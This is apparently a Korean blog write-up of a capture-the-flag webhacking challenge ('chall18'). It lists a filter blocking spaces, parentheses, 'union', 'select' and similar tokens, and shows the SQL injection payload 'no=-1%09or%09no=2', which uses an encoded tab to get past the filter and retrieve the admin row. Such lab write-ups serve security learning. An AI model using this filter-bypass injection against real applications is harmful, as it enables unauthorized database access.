728x90
|/|\(|\)|\t|\||&|union|select|from|0x” 문자 들을 찾으려고한다면
no hack의 문자열을 보여주고 종료한다.
필터링 되는 문자열: 공백, /,(,),|,&,union,select,from,0x,tab
핵심 쿼리문: "select id from chall18 where id='guest' and no=$_GET[no]"
%20
select id from chall18 where id='guest' and no='1' or where id='admin' and no = '2'
select id from chall18 where id='guest' and no='1'%20or%20where%20id='admin'%20and%20no%20=%20'2'
select id from chall18 where id='guest' and no='2'%20or%20where%20id='admin'
*필터링을 피해서 no = 2 를 id = admin인 상태에서 검색하면 원하는 플래그를 얻을 수 있다
-1 or no = 2
no=-1%09or%09no=2
(where id='guest' and no='-1')이 거짓이 되고 or no=2는 참이 되므로
거짓 or 참이므로 no=2로 admin을 얻을 수 있다
즉 where id =admin이라고 할 필요도 없었던 것이다
|t 를 인코딩 하면 %09값이 나온다
728x90
'호그와트' 카테고리의 다른 글
웹해킹 12번 문제 (0) | 2021.10.16 |
---|---|
웹해킹 27번 문제 (0) | 2021.10.16 |
드림핵 웰컴! (0) | 2021.10.16 |
Simple-sqli(Dreamhack) (0) | 2021.10.16 |
시큐어mail(Dreamhack) (0) | 2021.10.16 |